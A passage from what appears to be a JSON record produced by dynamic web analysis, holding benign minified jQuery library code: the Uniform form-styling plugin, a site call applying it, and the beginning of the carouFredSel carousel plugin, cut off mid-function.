targets.push($el[0]); targets = targets.not(':visible'); swap(targets, { visibility: \"hidden\", display: \"block\", position: \"absolute\" }, callback); } /** * Standard way to unwrap the div/span combination from an element * * @param jQuery $el Element that we wish to preserve * @param Object options Uniform options for the element * @return Function This generated function will perform the given work */ function unwrapUnwrapUnbindFunction($el, options) { return function () { $el.unwrap().unwrap().unbind(options.eventNamespace); }; } var allowStyling = true, // False if IE6 or other unsupported browsers highContrastTest = false, // Was the high contrast test ran? uniformHandlers = [ // Objects that take care of \"unification\" { // Buttons match: function ($el) { return $el.is(\"a, button, :submit, :reset, input[type='button']\"); }, apply: function ($el, options) { var $div, defaultSpanHtml, ds, getHtml, doingClickEvent; defaultSpanHtml = options.submitDefaultHtml; if ($el.is(\":reset\")) { defaultSpanHtml = options.resetDefaultHtml; } if ($el.is(\"a, button\")) { // Use the HTML inside the tag getHtml = function () { return $el.html() || defaultSpanHtml; }; } else { // Use the value property of the element getHtml = function () { return htmlify(attrOrProp($el, \"value\")) || defaultSpanHtml; }; } ds = divSpan($el, options, { divClass: options.buttonClass, spanHtml: getHtml() }); $div = ds.div; bindUi($el, $div, options); doingClickEvent = false; bindMany($div, options, { \"click touchend\": function () { var ev, res, target, href; if (doingClickEvent) { return; } if ($el.is(':disabled')) { return; } doingClickEvent = true; if ($el[0].dispatchEvent) { ev = document.createEvent(\"MouseEvents\"); ev.initEvent(\"click\", true, true); res = $el[0].dispatchEvent(ev); if ($el.is('a') && res) { target = attrOrProp($el, 'target'); href = attrOrProp($el, 'href'); if (!target || target === '_self') { document.location.href = href; } else { wind.open(href, target); } } } else { $el.click(); } doingClickEvent = false; } }); noSelect($div, options); return { remove: function () { // Move $el out $div.after($el); // Remove div and span $div.remove(); // Unbind events $el.unbind(options.eventNamespace); return $el; }, update: function () { classClearStandard($div, options); classUpdateDisabled($div, $el, options); $el.detach(); ds.span.html(getHtml()).append($el); } }; } }, { // Checkboxes match: function ($el) { return $el.is(\":checkbox\"); }, apply: function ($el, options) { var ds, $div, $span; ds = divSpan($el, options, { divClass: options.checkboxClass }); $div = ds.div; $span = ds.span; // Add focus classes, toggling, active, etc. bindUi($el, $div, options); bindMany($el, options, { \"click touchend\": function () { classUpdateChecked($span, $el, options); } }); classUpdateChecked($span, $el, options); return { remove: unwrapUnwrapUnbindFunction($el, options), update: function () { classClearStandard($div, options); $span.removeClass(options.checkedClass); classUpdateChecked($span, $el, options); classUpdateDisabled($div, $el, options); } }; } }, { // File selection / uploads match: function ($el) { return $el.is(\":file\"); }, apply: function ($el, options) { var ds, $div, $filename, $button; // The \"span\" is the button ds = divSpan($el, options, { divClass: options.fileClass, spanClass: options.fileButtonClass, spanHtml: options.fileButtonHtml, spanWrap: \"after\" }); $div = ds.div; $button = ds.span; $filename = $(\"<span />\").html(options.fileDefaultHtml); $filename.addClass(options.filenameClass); $filename = divSpanWrap($el, $filename, \"after\"); // Set the size if (!attrOrProp($el, \"size\")) { attrOrProp($el, \"size\", $div.width() / 10); } // Actions function filenameUpdate() { setFilename($el, $filename, options); } bindUi($el, $div, options); // Account for input saved across refreshes filenameUpdate(); // IE7 doesn't fire onChange until blur or second fire. if (isMsie()) { // IE considers browser chrome blocking I/O, so it // suspends tiemouts until after the file has // been selected. bindMany($el, options, { click: function () { $el.trigger(\"change\"); setTimeout(filenameUpdate, 0); } }); } else { // All other browsers behave properly bindMany($el, options, { change: filenameUpdate }); } noSelect($filename, options); noSelect($button, options); return { remove: function () { // Remove filename and button $filename.remove(); $button.remove(); // Unwrap parent div, remove events return $el.unwrap().unbind(options.eventNamespace); }, update: function () { classClearStandard($div, options); setFilename($el, $filename, options); classUpdateDisabled($div, $el, options); } }; } }, { // Input fields (text) match: function ($el) { if ($el.is(\"input\")) { var t = (\" \" + attrOrProp($el, \"type\") + \" \").toLowerCase(), allowed = \" color date datetime datetime-local email month number password search tel text time url week \"; return allowed.indexOf(t) >= 0; } return false; }, apply: function ($el, options) { var elType, $wrapper; elType = attrOrProp($el, \"type\"); $el.addClass(options.inputClass); $wrapper = wrapWithWrapperClass($el, options); bindUi($el, $el, options); if (options.inputAddTypeAsClass) { $el.addClass(elType); } return { remove: function () { $el.removeClass(options.inputClass); if (options.inputAddTypeAsClass) { $el.removeClass(elType); } if ($wrapper) { $el.unwrap(); } }, update: returnFalse }; } }, { // Radio buttons match: function ($el) { return $el.is(\":radio\"); }, apply: function ($el, options) { var ds, $div, $span; ds = divSpan($el, options, { divClass: options.radioClass }); $div = ds.div; $span = ds.span; // Add classes for focus, handle active, checked bindUi($el, $div, options); bindMany($el, options, { \"click touchend\": function () { // Find all radios with the same name, then update // them with $.uniform.update() so the right // per-element options are used $.uniform.update($(':radio[name=\"' + attrOrProp($el, \"name\") + '\"]')); } }); classUpdateChecked($span, $el, options); return { remove: unwrapUnwrapUnbindFunction($el, options), update: function () { classClearStandard($div, options); classUpdateChecked($span, $el, options); classUpdateDisabled($div, $el, options); } }; } }, { // Select lists, but do not style multiselects here match: function ($el) { if ($el.is(\"select\") && !isMultiselect($el)) { return true; } return false; }, apply: function ($el, options) { var ds, $div, $span, origElemWidth; if (options.selectAutoWidth) { sizingInvisible($el, function () { origElemWidth = $el.width(); }); } ds = divSpan($el, options, { divClass: options.selectClass, spanHtml: ($el.find(\":selected:first\") || $el.find(\"option:first\")).html(), spanWrap: \"before\" }); $div = ds.div; $span = ds.span; if (options.selectAutoWidth) { // Use the width of the select and adjust the // span and div accordingly sizingInvisible($el, function () { // Force \"display: block\" - related to bug #287 swap($([ $span[0], $div[0] ]), { display: \"block\" }, function () { var spanPad; spanPad = $span.outerWidth() - $span.width(); $div.width(origElemWidth); $span.width(origElemWidth -spanPad); }); });\t\t\t\t\t\t } else { // Force the select to fill the size of the div $div.addClass('fixedWidth'); } // Take care of events bindUi($el, $div, options); bindMany($el, options, { change: function () { $span.html($el.find(\":selected\").html()); $div.removeClass(options.activeClass); }, \"click touchend\": function () { // IE7 and IE8 may not update the value right // until after click event - issue #238 var selHtml = $el.find(\":selected\").html(); if ($span.html() !== selHtml) { // Change was detected // Fire the change event on the select tag $el.trigger('change'); } }, keyup: function () { $span.html($el.find(\":selected\").html()); } }); noSelect($span, options); return { remove: function () { // Remove sibling span $span.remove(); // Unwrap parent div $el.unwrap().unbind(options.eventNamespace); return $el; }, update: function () { if (options.selectAutoWidth) { // Easier to remove and reapply formatting $.uniform.restore($el); $el.uniform(options); } else { classClearStandard($div, options); // Reset current selected text $span.html($el.find(\":selected\").html()); classUpdateDisabled($div, $el, options); } } }; } }, { // Select lists - multiselect lists only match: function ($el) { if ($el.is(\"select\") && isMultiselect($el)) { return true; } return false; }, apply: function ($el, options) { var $wrapper; $el.addClass(options.selectMultiClass); $wrapper = wrapWithWrapperClass($el, options); bindUi($el, $el, options); return { remove: function () { $el.removeClass(options.selectMultiClass); if ($wrapper) { $el.unwrap(); } }, update: returnFalse }; } }, { // Textareas match: function ($el) { return $el.is(\"textarea\"); }, apply: function ($el, options) { var $wrapper; $el.addClass(options.textareaClass); $wrapper = wrapWithWrapperClass($el, options); bindUi($el, $el, options); return { remove: function () { $el.removeClass(options.textareaClass); if ($wrapper) { $el.unwrap(); } }, update: returnFalse }; } } ]; // IE6 can't be styled - can't set opacity on select if (isMsie() && !isMsieSevenOrNewer()) { allowStyling = false; } $.uniform = { // Default options that can be overridden globally or when uniformed // globally: $.uniform.defaults.fileButtonHtml = \"Pick A File\"; // on uniform: $('input').uniform({fileButtonHtml: \"Pick a File\"}); defaults: { activeClass: \"active\", autoHide: true, buttonClass: \"button\", checkboxClass: \"checker\", checkedClass: \"checked\", disabledClass: \"disabled\", eventNamespace: \".uniform\", fileButtonClass: \"action\", fileButtonHtml: \"Choose File\", fileClass: \"uploader\", fileDefaultHtml: \"No file selected\", filenameClass: \"filename\", focusClass: \"focus\", hoverClass: \"hover\", idPrefix: \"uniform\", inputAddTypeAsClass: true, inputClass: \"uniform-input\", radioClass: \"radio\", resetDefaultHtml: \"Reset\", resetSelector: false, // We'll use our own function when you don't specify one selectAutoWidth: true, selectClass: \"selector\", selectMultiClass: \"uniform-multiselect\", submitDefaultHtml: \"Submit\", // Only text allowed textareaClass: \"uniform\", useID: true, wrapperClass: null }, // All uniformed elements - DOM objects elements: [] }; $.fn.uniform = function (options) { var el = this; options = $.extend({}, $.uniform.defaults, options); // If we are in high contrast mode, do not allow styling if (!highContrastTest) { highContrastTest = true; if (highContrast()) { allowStyling = false; } } // Only uniform on browsers that work if (!allowStyling) { return this; } // Code for specifying a reset button if (options.resetSelector) { $(options.resetSelector).mouseup(function () { wind.setTimeout(function () { $.uniform.update(el); }, 10); }); } return this.each(function () { var $el = $(this), i, handler, callbacks; // Avoid uniforming elements already uniformed - just update if ($el.data(\"uniformed\")) { $.uniform.update($el); return; } // See if we have any handler for this type of element for (i = 0; i < uniformHandlers.length; i = i + 1) { handler = uniformHandlers[i]; if (handler.match($el, options)) { callbacks = handler.apply($el, options); $el.data(\"uniformed\", callbacks); // Store element in our global array $.uniform.elements.push($el.get(0)); return; } } // Could not style this element }); }; $.uniform.restore = $.fn.uniform.restore = function (elem) { if (elem === undef) { elem = $.uniform.elements; } $(elem).each(function () { var $el = $(this), index, elementData; elementData = $el.data(\"uniformed\"); // Skip elements that are not uniformed if (!elementData) { return; } // Unbind events, remove additional markup that was added elementData.remove(); // Remove item from list of uniformed elements index = $.inArray(this, $.uniform.elements); if (index >= 0) { $.uniform.elements.splice(index, 1); } $el.removeData(\"uniformed\"); }); }; $.uniform.update = $.fn.uniform.update = function (elem) { if (elem === undef) { elem = $.uniform.elements; } $(elem).each(function () { var $el = $(this), elementData; elementData = $el.data(\"uniformed\"); // Skip elements that are not uniformed if (!elementData) { return; } elementData.update($el, elementData.options); }); };}(this, jQuery));if (typeof isMobile != 'undefined' && !isMobile){ $(window).load(function () { \t$(\"select.form-control,input[type='checkbox']:not(.comparator), input[type='radio'],input#id_carrier2, input[type='file']\").uniform(); }); // refresh uniform selects on document width change $(window).resize( \tfunction () { \t\t$.uniform.update(\"select.form-control, input[type='file']\"); \t} );}",
"relationship": "Contained_Inside",
"method": "Dynamic Analysis",
"language": "Javascript"
},
{
"snippet": "/* *\tjQuery carouFredSel 6.2.1 *\tDemo's and documentation: *\tcaroufredsel.dev7studios.com * *\tCopyright (c) 2013 Fred Heusschen *\twww.frebsite.nl * *\tDual licensed under the MIT and GPL licenses. *\thttp://en.wikipedia.org/wiki/MIT_License *\thttp://en.wikipedia.org/wiki/GNU_General_Public_License */(function($){function sc_setScroll(a,b,c){return\"transition\"==c.transition&&\"swing\"==b&&(b=\"ease\"),{anims:[],duration:a,orgDuration:a,easing:b,startTime:getTime()}}function sc_startScroll(a,b){for(var c=0,d=a.anims.length;d>c;c++){var e=a.anims[c];e&&e[0][b.transition](e[1],a.duration,a.easing,e[2])}}function sc_stopScroll(a,b){is_boolean(b)||(b=!0),is_object(a.pre)&&sc_stopScroll(a.pre,b);for(var c=0,d=a.anims.length;d>c;c++){var e=a.anims[c];e[0].stop(!0),b&&(e[0].css(e[1]),is_function(e[2])&&e[2]())}is_object(a.post)&&sc_stopScroll(a.post,b)}function sc_afterScroll(a,b,c){switch(b&&b.remove(),c.fx){case\"fade\":case\"crossfade\":case\"cover-fade\":case\"uncover-fade\":a.css(\"opacity\",1),a.css(\"filter\",\"\")}}function sc_fireCallbacks(a,b,c,d,e){if(b[c]&&b[c].call(a,d),e[c].length)for(var f=0,g=e[c].length;g>f;f++)e[c][f].call(a,d);return[]}function sc_fireQueue(a,b,c){return b.length&&(a.trigger(cf_e(b[0][0],c),b[0][1]),b.shift()),b}function sc_hideHiddenItems(a){a.each(function(){var a=$(this);a.data(\"_cfs_isHidden\",a.is(\":hidden\")).hide()})}function sc_showHiddenItems(a){a&&a.each(function(){var a=$(this);a.data(\"_cfs_isHidden\")||a.show()})}function sc_clearTimers(a){return a.auto&&clearTimeout(a.auto),a.progress&&clearInterval(a.progress),a}function sc_mapCallbackArguments(a,b,c,d,e,f,g){return{width:g.width,height:g.height,items:{old:a,skipped:b,visible:c},scroll:{items:d,direction:e,duration:f}}}function sc_getDuration(a,b,c,d){var e=a.duration;return\"none\"==a.fx?0:(\"auto\"==e?e=b.scroll.duration/b.scroll.items*c:10>e&&(e=d/e),1>e?0:(\"fade\"==a.fx&&(e/=2),Math.round(e)))}function nv_showNavi(a,b,c){var d=is_number(a.items.minimum)?a.items.minimum:a.items.visible+1;if(\"show\"==b||\"hide\"==b)var e=b;else if(d>b){debug(c,\"Not enough items (\"+b+\" total, \"+d+\" needed): Hiding navigation.\");var e=\"hide\"}else var e=\"show\";var f=\"show\"==e?\"removeClass\":\"addClass\",g=cf_c(\"hidden\",c);a.auto.button&&a.auto.button[e]()[f](g),a.prev.button&&a.prev.button[e]()[f](g),a.next.button&&a.next.button[e]()[f](g),a.pagination.container&&a.pagination.container[e]()[f](g)}function nv_enableNavi(a,b,c){if(!a.circular&&!a.infinite){var d=\"removeClass\"==b||\"addClass\"==b?b:!1,e=cf_c(\"disabled\",c);if(a.auto.button&&d&&a.auto.button[d](e),a.prev.button){var f=d||0==b?\"addClass\":\"removeClass\";a.prev.button[f](e)}if(a.next.button){var f=d||b==a.items.visible?\"addClass\":\"removeClass\";a.next.button[f](e)}}}function go_getObject(a,b){return is_function(b)?b=b.call(a):is_undefined(b)&&(b={}),b}function go_getItemsObject(a,b){return b=go_getObject(a,b),is_number(b)?b={visible:b}:\"variable\"==b?b={visible:b,width:b,height:b}:is_object(b)||(b={}),b}function go_getScrollObject(a,b){return b=go_getObject(a,b),is_number(b)?b=50>=b?{items:b}:{duration:b}:is_string(b)?b={easing:b}:is_object(b)||(b={}),b}function go_getNaviObject(a,b){if(b=go_getObject(a,b),is_string(b)){var c=cf_getKeyCode(b);b=-1==c?$(b):c}return b}function go_getAutoObject(a,b){return b=go_getNaviObject(a,b),is_jquery(b)?b={button:b}:is_boolean(b)?b={play:b}:is_number(b)&&(b={timeoutDuration:b}),b.progress&&(is_string(b.progress)||is_jquery(b.progress))&&(b.progress={bar:b.progress}),b}function go_complementAutoObject(a,b){return is_function(b.button)&&(b.button=b.button.call(a)),is_string(b.button)&&(b.button=$(b.button)),is_boolean(b.play)||(b.play=!0),is_number(b.delay)||(b.delay=0),is_undefined(b.pauseOnEvent)&&(b.pauseOnEvent=!0),is_boolean(b.pauseOnResize)||(b.pauseOnResize=!0),is_number(b.timeoutDuration)||(b.timeoutDuration=10>b.duration?2500:5*b.duration),b.progress&&(is_function(b.progress.bar)&&(b.progress.bar=b.progress.bar.call(a)),is_string(b.progress.bar)&&(b.progress.bar=$(b.progress.bar)),b.progress.bar?(is_function(b.progress.updater)||(b.progress.updater=$.fn.carouFredSel.progressbarUpdater),is_number(b.progress.interval)||(b.progress.interval=50)):b.progress=!1),b}function go_getPrevNextObject(a,b){return b=go_getNaviObject(a,b),is_jquery(b)?b={button:b}:is_number(b)&&(b={key:b}),b}function go_complementPrevNextObject(a,b){return is_function(b.button)&&(b.button=b.button.call(a)),is_string(b.button)&&(b.button=$(b.button)),is_string(b.key)&&(b.key=cf_getKeyCode(b.key)),b}function go_getPaginationObject(a,b){return b=go_getNaviObject(a,b),is_jquery(b)?b={container:b}:is_boolean(b)&&(b={keys:b}),b}function go_complementPaginationObject(a,b){return is_function(b.container)&&(b.container=b.container.call(a)),is_string(b.container)&&(b.container=$(b.container)),is_number(b.items)||(b.items=!1),is_boolean(b.keys)||(b.keys=!1),is_function(b.anchorBuilder)||is_false(b.anchorBuilder)||(b.anchorBuilder=$.fn.carouFredSel.pageAnchorBuilder),is_number(b.deviation)||(b.deviation=0),b}function go_getSwipeObject(a,b){return is_function(b)&&(b=b.call(a)),is_undefined(b)&&(b={onTouch:!1}),is_true(b)?b={onTouch:b}:is_number(b)&&(b={items:b}),b}function go_complementSwipeObject(a,b){return is_boolean(b.onTouch)||(b.onTouch=!0),is_boolean(b.onMouse)||(b.onMouse=!1),is_object(b.options)||(b.options={}),is_boolean(b.options.triggerOnTouchEnd)||(b.options.triggerOnTouchEnd=!1),b}function go_getMousewheelObject(a,b){return is_function(b)&&(b=b.call(a)),is_true(b)?b={}:is_number(b)?b={items:b}:is_undefined(b)&&(b=!1),b}function go_complementMousewheelObject(a,b){return b}function gn_getItemIndex(a,b,c,d,e){if(is_string(a)&&(a=$(a,e)),is_object(a)&&(a=$(a,e)),is_jquery(a)?(a=e.children().index(a),is_boolean(c)||(c=!1)):is_boolean(c)||(c=!0),is_number(a)||(a=0),is_number(b)||(b=0),c&&(a+=d.first),a+=b,d.total>0){for(;a>=d.total;)a-=d.total;for(;0>a;)a+=d.total}return a}function gn_getVisibleItemsPrev(a,b,c){for(var d=0,e=0,f=c;f>=0;f--){var g=a.eq(f);if(d+=g.is(\":visible\")?g[b.d.outerWidth](!0):0,d>b.maxDimension)return e;0==f&&(f=a.length),e++}}function gn_getVisibleItemsPrevFilter(a,b,c){return gn_getItemsPrevFilter(a,b.items.filter,b.items.visibleConf.org,c)}function gn_getScrollItemsPrevFilter(a,b,c,d){return gn_getItemsPrevFilter(a,b.items.filter,d,c)}function gn_getItemsPrevFilter(a,b,c,d){for(var e=0,f=0,g=d,h=a.length;g>=0;g--){if(f++,f==h)return f;var i=a.eq(g);if(i.is(b)&&(e++,e==c))return f;0==g&&(g=h)}}function gn_getVisibleOrg(a,b){return b.items.visibleConf.org||a.children().slice(0,b.items.visible).filter(b.items.filter).length}function gn_getVisibleItemsNext(a,b,c){for(var d=0,e=0,f=c,g=a.length-1;g>=f;f++){var h=a.eq(f);if(d+=h.is(\":visible\")?h[b.d.outerWidth](!0):0,d>b.maxDimension)return e;if(e++,e==g+1)return e;f==g&&(f=-1)}}function gn_getVisibleItemsNextTestCircular(a,b,c,d){var e=gn_getVisibleItemsNext(a,b,c);return b.circular||c+e>d&&(e=d-c),e}function gn_getVisibleItemsNextFilter(a,b,c){return gn_getItemsNextFilter(a,b.items.filter,b.items.visibleConf.org,c,b.circular)}function gn_getScrollItemsNextFilter(a,b,c,d){return gn_getItemsNextFilter(a,b.items.filter,d+1,c,b.circular)-1}function gn_getItemsNextFilter(a,b,c,d){for(var f=0,g=0,h=d,i=a.length-1;i>=h;h++){if(g++,g>=i)return g;var j=a.eq(h);if(j.is(b)&&(f++,f==c))return g;h==i&&(h=-1)}}function gi_getCurrentItems(a,b){return a.slice(0,b.items.visible)}function gi_getOldItemsPrev(a,b,c){return a.slice(c,b.items.visibleConf.old+c)}function gi_getNewItemsPrev(a,b){return a.slice(0,b.items.visible)}function gi_getOldItemsNext(a,b){return a.slice(0,b.items.visibleConf.old)}function gi_getNewItemsNext(a,b,c){return a.slice(c,b.items.visible+c)}function sz_storeMargin(a,b,c){b.usePadding&&(is_string(c)||(c=\"_cfs_origCssMargin\"),a.each(function(){var a=$(this),d=parseInt(a.css(b.d.marginRight),10);is_number(d)||(d=0),a.data(c,d)}))}function sz_resetMargin(a,b,c){if(b.usePadding){var d=is_boolean(c)?c:!1;is_number(c)||(c=0),sz_storeMargin(a,b,\"_cfs_tempCssMargin\"),a.each(function(){var a=$(this);a.css(b.d.marginRight,d?a.data(\"_cfs_tempCssMargin\"):c+a.data(\"_cfs_origCssMargin\"))})}}function sz_storeOrigCss(a){a.each(function(){var a=$(this);a.data(\"_cfs_origCss\",a.attr(\"style\")||\"\")})}function sz_restoreOrigCss(a){a.each(function(){var a=$(this);a.attr(\"style\",a.data(\"_cfs_origCss\")||\"\")})}function sz_setResponsiveSizes(a,b){var d=(a.items.visible,a.items[a.d.width]),e=a[a.d.height],f=is_percentage(e);b.each(function(){var b=$(this),c=d-ms_getPaddingBorderMargin(b,a,\"Width\");b[a.d.width](c),f&&b[a.d.height](ms_getPercentage(c,e))})}function sz_setSizes(a,b){var c=a.parent(),d=a.children(),e=gi_getCurrentItems(d,b),f=cf_mapWrapperSizes(ms_getSizes(e,b,!0),b,!1);if(c.css(f),b.usePadding){var g=b.padding,h=g[b.d[1]];b.align&&0>h&&(h=0);var i=e.last();i.css(b.d.marginRight,i.data(\"_cfs_origCssMargin\")+h),a.css(b.d.top,g[b.d[0]]),a.css(b.d.left,g[b.d[3]])}return a.css(b.d.width,f[b.d.width]+2*ms_getTotalSize(d,b,\"width\")),a.css(b.d.height,ms_getLargestSize(d,b,\"height\")),f}function ms_getSizes(a,b,c){return[ms_getTotalSize(a,b,\"width\",c),ms_getLargestSize(a,b,\"height\",c)]}function ms_getLargestSize(a,b,c,d){return is_boolean(d)||(d=!1),is_number(b[b.d[c]])&&d?b[b.d[c]]:is_number(b.items[b.d[c]])?b.items[b.d[c]]:(c=c.toLowerCase().indexOf(\"width\")>-1?\"outerWidth\":\"outerHeight\",ms_getTrueLargestSize(a,b,c))}function ms_getTrueLargestSize(a,b,c){for(var d=0,e=0,f=a.length;f>e;e++){var g=a.eq(e),h=g.is(\":visible\")?g[b.d[c]](!0):0;h>d&&(d=h)}return d}function ms_getTotalSize(a,b,c,d){if(is_boolean(d)||(d=!1),is_number(b[b.d[c]])&&d)return b[b.d[c]];if(is_number(b.items[b.d[c]]))return b.items[b.d[c]]*a.length;for(var e=c.toLowerCase().indexOf(\"width\")>-1?\"outerWidth\":\"outerHeight\",f=0,g=0,h=a.length;h>g;g++){var i=a.eq(g);f+=i.is(\":visible\")?i[b.d[e]](!0):0}return f}function ms_getParentSize(a,b,c){var d=a.is(\":visible\");d&&a.hide();var e=a.parent()[b.d[c]]();return d&&a.show(),e}function ms_getMaxDimension(a,b){return is_number(a[a.d.width])?a[a.d.width]:b}function ms_hasVariableSizes(a,b,c){for(var d=!1,e=!1,f=0,g=a.length;g>f;f++){var h=a.eq(f),i=h.is(\":visible\")?h[b.d[c]](!0):0;d===!1?d=i:d!=i&&(e=!0),0==d&&(e=!0)}return e}function ms_getPaddingBorderMargin(a,b,c){return a[b.d[\"outer\"+c]](!0)-a[b.d[c.toLowerCase()]]()}function ms_getPercentage(a,b){if(is_percentage(b)){if(b=parseInt(b.slice(0,-1),10),!is_number(b))return a;a*=b/100}return a}function cf_e(a,b,c,d,e){return is_boolean(c)||(c=!0),is_boolean(d)||(d=!0),is_boolean(e)||(e=!1),c&&(a=b.events.prefix+a),d&&(a=a+\".\"+b.events.namespace),d&&e&&(a+=b.serialNumber),a}function cf_c(a,b){return is_string(b.classnames[a])?b.classnames[a]:a}function cf_mapWrapperSizes(a,b,c){is_boolean(c)||(c=!0);var d=b.usePadding&&c?b.padding:[0,0,0,0],e={};return e[b.d.width]=a[0]+d[1]+d[3],e[b.d.height]=a[1]+d[0]+d[2],e}function cf_sortParams(a,b){for(var c=[],d=0,e=a.length;e>d;d++)for(var f=0,g=b.length;g>f;f++)if(b[f].indexOf(typeof a[d])>-1&&is_undefined(c[f])){c[f]=a[d];break}return c}function cf_getPadding(a){if(is_undefined(a))return[0,0,0,0];if(is_number(a))return[a,a,a,a];if(is_string(a)&&(a=a.split(\"px\").join(\"\").split(\"em\").join(\"\").split(\" \")),!is_array(a))return[0,0,0,0];for(var b=0;4>b;b++)a[b]=parseInt(a[b],10);switch(a.length){case 0:return[0,0,0,0];case 1:return[a[0],a[0],a[0],a[0]];case 2:return[a[0],a[1],a[0],a[1]];case 3:return[a[0],a[1],a[2],a[1]];default:return[a[0],a[1],a[2],a[3]]}}function cf_getAlignPadding(a,b){var c=is_number(b[b.d.width])?Math.ceil(b[b.d.width]-ms_getTotalSize(a,b,\"width\")):0;switch(b.align){case\"left\":return[0,c];case\"right\":return[c,0];case\"center\":default:return[Math.ceil(c/2),Math.floor(c/2)]}}function cf_getDimensions(a){for(var b=[[\"width\",\"innerWidth\",\"outerWidth\",\"height\",\"innerHeight\",\"outerHeight\",\"left\",\"top\",\"marginRight\",0,1,2,3],[\"height\",\"innerHeight\",\"outerHeight\",\"width\",\"innerWidth\",\"outerWidth\",\"top\",\"left\",\"marginBottom\",3,2,1,0]],c=b[0].length,d=\"right\"==a.direction||\"left\"==a.direction?0:1,e={},f=0;c>f;f++)e[b[0][f]]=b[d][f];return e}function cf_getAdjust(a,b,c,d){var e=a;if(is_function(c))e=c.call(d,e);else if(is_string(c)){var f=c.split(\"+\"),g=c.split(\"-\");if(g.length>f.length)var h=!0,i=g[0],j=g[1];else var h=!1,i=f[0],j=f[1];switch(i){case\"even\":e=1==a%2?a-1:a;break;case\"odd\":e=0==a%2?a-1:a;break;default:e=a}j=parseInt(j,10),is_number(j)&&(h&&(j=-j),e+=j)}return(!is_number(e)||1>e)&&(e=1),e}function cf_getItemsAdjust(a,b,c,d){return cf_getItemAdjustMinMax(cf_getAdjust(a,b,c,d),b.items.visibleConf)}function cf_getItemAdjustMinMax(a,b){return is_number(b.min)&&b.min>a&&(a=b.min),is_number(b.max)&&a>b.max&&(a=b.max),1>a&&(a=1),a}function cf_getSynchArr(a){is_array(a)||(a=[[a]]),is_array(a[0])||(a=[a]);for(var b=0,c=a.length;c>b;b++)is_string(a[b][0])&&(a[b][0]=$(a[b][0])),is_boolean(a[b][1])||(a[b][1]=!0),is_boolean(a[b][2])||(a[b][2]=!0),is_number(a[b][3])||(a[b][3]=0);return a}function cf_getKeyCode(a){return\"right\"==a?39:\"left\"==a?37:\"up\"==a?38:\"down\"==a?40:-1}function cf_setCookie(a,b,c){if(a){var d=b.triggerHandler(cf_e(\"currentPosition\",c));$.fn.carouFredSel.cookie.set(a,d)}}function cf_getCookie(a){var b=$.fn.carouFredSel.cookie.get(a);return\"\"==b?0:b}function in_mapCss(a,b){for(var c={},d=0,e=b.length;e>d;d++)c[b[d]]=a.css(b[d]);return c}function in_complementItems(a,b,c,d){return is_object(a.visibleConf)||(a.visibleConf={}),is_object(a.sizesConf)||(a.sizesConf={}),0==a.start&&is_number(d)&&(a.start=d),is_object(a.visible)?(a.visibleConf.min=a.visible.min,a.visibleConf.max=a.visible.max,a.visible=!1):is_string(a.visible)?(\"variable\"==a.visible?a.visibleConf.variable=!0:a.visibleConf.adjust=a.visible,a.visible=!1):is_function(a.visible)&&(a.visibleConf.adjust=a.visible,a.visible=!1),is_string(a.filter)||(a.filter=c.filter(\":hidden\").length>0?\":visible\":\"*\"),a[b.d.width]||(b.responsive?(debug(!0,\"Set a \"+b.d.width+\" for the items!\"),a[b.d.width]=ms_getTrueLargestSize(c,b,\"outerWidth\")):a[b.d.width]=ms_hasVariableSizes(c,b,\"outerWidth\")?\"variable\":c[b.d.outerWidth](!0)),a[b.d.height]||(a[b.d.height]=ms_hasVariableSizes(c,b,\"outerHeight\")?\"variable\":c[b.d.outerHeight](!0)),a.sizesConf.width=a.width,a.sizesConf.height=a.height,a}function in_complementVisibleItems(a,b){return\"variable\"==a.items[a.d.width]&&(a.items.visibleConf.variable=!0),a.items.visibleConf.variable||(is_number(a[a.d.width])?a.items.visible=Math.floor(a[a.d.width]/a.items[a.d.width]):(a.items.visible=Math.floor(b/a.items[a.d.width]),a[a.d.width]=a.items.visible*a.items[a.d.width],a.items.visibleConf.adjust||(a.align=!1)),(\"Infinity\"==a.items.visible||1>a.items.visible)&&(debug(!0,'Not a valid number of visible items: Set to \"variable\".'),a.items.visibleConf.variable=!0)),a}function in_complementPrimarySize(a,b,c){return\"auto\"==a&&(a=ms_getTrueLargestSize(c,b,\"outerWidth\")),a}function in_complementSecondarySize(a,b,c){return\"auto\"==a&&(a=ms_getTrueLargestSize(c,b,\"outerHeight\")),a||(a=b.items[b.d.height]),a}function in_getAlignPadding(a,b){var c=cf_getAlignPadding(gi_getCurrentItems(b,a),a);return a.padding[a.d[1]]=c[1],a.padding[a.d[3]]=c[0],a}function in_getResponsiveValues(a,b){var d=cf_getItemAdjustMinMax(Math.ceil(a[a.d.width]/a.items[a.d.width]),a.items.visibleConf);d>b.length&&(d=b.length);var e=Math.floor(a[a.d.width]/d);return a.items.visible=d,a.items[a.d.width]=e,a[a.d.width]=d*e,a}function bt_pauseOnHoverConfig(a){if(is_string(a))var b=a.indexOf(\"immediate\")>-1?!0:!1,c=a.indexOf(\"resume\")>-1?!0:!1;else var b=c=!1;return[b,c]}function bt_mousesheelNumber(a){return is_number(a)?a:null}function is_null(a){return null===a}function is_undefined(a){return is_null(a)||a===void 0||\"\"===a||\"undefined\"===a}function is_array(a){return a instanceof Array}function is_jquery(a){return a instanceof jQuery}function is_object(a){return(a instanceof Object||\"object\"==typeof a)&&!is_null(a)&&!is_jquery(a)&&!is_array(a)&&!is_function(a)}function is_number(a){return(a instanceof Number||\"number\"==typeof a)&&!isNaN(a)}function is_string(a){return(a instanceof String||\"string\"==typeof a)&&!is_undefined(a)&&!is_true(a)&&!is_false(a)}function is_function(a){return a instanceof Function||\"function\"==typeof a}function is_boolean(a){return a instanceof Boolean||\"boolean\"==typeof a||is_true(a)||is_false(a)}function is_true(a){return a===!0||\"true\"===a}function is_false(a){return a===!1||\"false\"===a}function is_percentage(a){return is_string(a)&&\"%\"==a.slice(-1)}function getTime(){return(new Date).getTime()}function deprecated(a,b){debug(!0,a+\" is DEPRECATED, support for it will be removed. Use \"+b+\" instead.\")}function debug(a,b){if(!is_undefined(window.console)&&!is_undefined(window.console.log)){if(is_object(a)){var c=\" (\"+a.selector+\")\";a=a.debug}else var c=\"\";if(!a)return!1;b=is_string(b)?\"carouFredSel\"+c+\": \"+b:[\"carouFredSel\"+c+\":\",b],window.console.log(b)}return!1}$.fn.carouFredSel||($.fn.caroufredsel=$.fn.carouFredSel=function(options,configs){if(0==this.length)return debug(!0,'No element found for \"'+this.selector+'\".'),this;if(this.length>1)return this.each(function(){$(this).carouFredSel(options,configs)});var 